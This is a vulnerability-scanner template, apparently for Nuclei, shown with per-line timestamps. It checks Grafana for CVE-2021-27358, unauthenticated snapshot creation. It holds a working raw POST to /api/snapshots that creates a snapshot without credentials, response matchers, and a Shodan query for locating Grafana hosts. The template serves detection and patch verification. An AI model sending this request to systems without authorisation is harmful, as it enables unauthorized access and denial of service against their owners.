2021-12-24 12:17:55 +00:00
id : CVE-2021-27358
info :
2022-02-21 18:33:16 +00:00
name : Grafana Unauthenticated Snapshot Creation
2022-05-07 05:31:47 +00:00
author : pdteam,bing0o
2021-12-24 12:17:55 +00:00
severity : high
2022-04-15 16:39:44 +00:00
description : Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
2021-12-24 12:17:55 +00:00
reference :
2021-12-24 13:32:18 +00:00
- https://phabricator.wikimedia.org/T274736
2021-12-24 12:17:55 +00:00
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
2023-04-12 10:55:48 +00:00
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
2023-07-11 19:49:27 +00:00
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
2021-12-24 13:38:52 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-12-24 13:38:52 +00:00
cve-id : CVE-2021-27358
2022-05-07 05:27:44 +00:00
cwe-id : CWE-306
2024-03-23 09:28:19 +00:00
epss-score : 0.02415
epss-percentile : 0.89689
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
2022-07-07 10:16:10 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : grafana
product : grafana
2023-09-06 12:09:01 +00:00
shodan-query : title:"Grafana"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,grafana,unauth
2021-12-24 12:17:55 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-12-24 12:17:55 +00:00
- raw :
- |
POST /api/snapshots HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600 }
2021-12-24 13:32:18 +00:00
matchers-condition : and
2021-12-24 12:17:55 +00:00
matchers :
2023-07-11 19:49:27 +00:00
- type : word
part : body
2021-12-24 12:17:55 +00:00
words :
2021-12-24 13:32:18 +00:00
- '"deleteUrl":'
- '"deleteKey":'
condition : and
- type : word
part : header
words :
- "application/json"
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100a246c958300ef66facdc279038dc6c006e6f25ee083e21d2b61f2c05f97608bf0221008541a137b7ea439c0235149d62f678ad167cb4386a17f4d1a8f94bc9ca3ff0a3:922c64590222798bb761d5b6d8e72950